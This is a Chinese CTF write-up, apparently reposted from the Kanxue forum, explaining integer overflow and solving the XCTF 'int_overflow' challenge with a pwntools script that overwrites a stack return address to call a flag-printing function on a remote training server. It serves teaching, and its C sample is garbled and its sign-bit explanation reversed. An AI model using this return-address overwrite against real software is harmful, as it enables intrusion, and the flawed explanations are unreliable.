php整数溢出 ctf,经典整数溢出漏洞示例 XCTF int_overflow

原标题:经典整数溢出漏洞示例 XCTF int_overflow

45eb09a97c1fd193fab9273d01249af1.png

本文为看雪论坛优秀文章

看雪论坛作者ID:IS信息

整数溢出原理

整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0,无符号数取值范围为非负数,常见各类型占用字节数如下:

98238a3e5382cb091d999efeb89951a6.png

对于unsigned short int类型的两个变量var1、var2,假定取值var1 = 1,var2 = 65537。

654b05b064f856048dc47467628b3a3f.png

C语言测试代码如下:

#include

intmain

{

unsignedshortintvar1 = 1, var2 = 65537;

if(var1 == var2)

{

printf( "溢出"

}

return0;

}

编译运行截屏如下:

9d25882d33cd254a792b3cdeb9806bac.png

也就是说,对于一个2字节的Unsigned short int型变量,它的有效数据长度为两个字节,当它的数据长度超过两个字节时,就溢出,溢出的部分则直接忽略,使用相关变量时,使用的数据仅为最后2个字节,因此就会出现65537等于1的情况,其他类型变量和数值与之类似。

接下来看XCTF攻防世界里面的一道题:int_overflow。

127fb277278062609a61a015a6db71c8.png

32位,No canary found。

首先在main函数中,没有任何可疑的。

c0a9e59a6dd5ac90ed2abfb4a04f4b82.png

进入login函数:

接受了一个最大长度为0x199的password。

f40aa8294aedc8e949cf5adda99df9a2.png

进入check_passwd函数:

用一个一字节,8bit的变量存储password的长度,之后存在一个字符串拷贝,拷贝目的地在栈中,长度为14h,及0x14,十进制20。

211e4686e856e3cc262738cd5fa97074.png

结合前面溢出原理分析,0x199(十进制409)的长度远大于1字节,即:

62ddf44dbaaa6898b15bb222c476dbe0.png

也就是说,这里存在证书溢出,password字符串的长度可以是3-8个字符,也可以是259-264个字符,接下来查看如何利用此漏洞。

查看字符串,发现cat flag字符串,查看调用:

abfa1e6dd84e135b836910b2dad9c0d7.png

f7d46ea3a112cbbe4d52f94bcbc30d46.png

也就是说,可以在字符串拷贝过程中,输入0x14个字符之后,就可以覆盖函数返回地址了,具体是不是0x14个字符,我们再看汇编语言。

02129f856e7de6948285fc33f71a44f8.png

在字符串拷贝之前,先把拷贝的源地址和目的地址压入堆栈,这里似乎没有任何问题,查看整个函数的汇编代码,就会发现,在函数最开始,压入了ebp变量,在函数结尾,存在一条leave指令,而在32位程序中,leave指令等于mov esp,ebp和pop ebp两条指令的组合,也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小4字节,即覆盖之前还需将这4字节覆盖了,才能实现跳转指向what_is_this函数,编写利用脚本如下:

259-264之间随机选择一个数,这里取262,264-0x14-4-4=234

即:

frompwn import*

io = remote( "111.198.29.45", 47271)

cat_flag_addr = 0x0804868B

io.sendlineafter( "Your choice:", "1")

io.sendlineafter( "your username:", "kk")

io.recvuntil( "your passwd:")

payload = "a"* 0x14+ "aaaa"+ p32(cat_flag_addr)+ "a"* 234

io.sendline(payload)

io.recv

io.interactive

7fd28a777f57a3969f785eb843a3c8d4.png

成功拿到flag,溢出成功。

1935d8ee220d1bac8135bf0c05f9f5eb.png

看雪ID:IS信息

https://bbs.pediy.com/user-794232.htm

*本文由看雪论坛 IS信息 原创,转载请注明来自看雪社区

进阶安全圈,不得不读的一本书

责任编辑:

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值